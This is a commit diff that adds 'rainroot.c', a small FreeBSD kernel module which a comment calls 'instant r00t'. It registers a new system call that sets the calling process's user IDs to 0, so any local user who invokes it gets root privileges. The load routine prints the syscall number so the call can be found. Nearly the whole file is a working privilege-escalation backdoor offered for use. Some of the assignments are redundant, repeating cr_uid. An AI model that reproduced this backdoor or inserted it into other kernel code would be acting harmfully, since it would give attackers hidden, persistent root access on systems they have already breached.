add rainroot

rainroot/rainroot.c

@@ -0,0 +1,60 @@
+/* 
+	instant r00t :)
+	ancient code, time to publish 
+	by -
+ */	
+
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/imgact.h>
+#include <sys/linker.h>
+#include <sys/libkern.h>
+#include <sys/sysproto.h>
+
+
+/*
+ * The function for implementing the syscall.
+ */
+
+static int
+gimme_rude (struct thread *td, void *arg)
+{
+	td->td_proc->p_ucred->cr_uid=0;
+	td->td_proc->p_ucred->cr_ruid=0;
+	td->td_proc->p_ucred->cr_uid=0;
+	td->td_proc->p_ucred->cr_uid=0;
+return 0;
+}
+
+static struct sysent gimme_rude_sysent = {
+	0,			/* sy_narg */
+	gimme_rude		/* sy_call */
+};
+
+static int offset = NO_SYSCALL;
+
+static int
+load (struct module *module, int cmd, void *arg)
+{
+	int error = 0;
+
+	switch (cmd) {
+	case MOD_LOAD :
+		printf ("call me at %d\n", offset);
+		break;
+	case MOD_UNLOAD :
+		printf ("call me at %d\n", offset);
+		break;
+	default :
+		error = EOPNOTSUPP;
+		break;
+	}
+	return error;
+}
+
+SYSCALL_MODULE(syscall, &offset, &gimme_rude_sysent, load, NULL);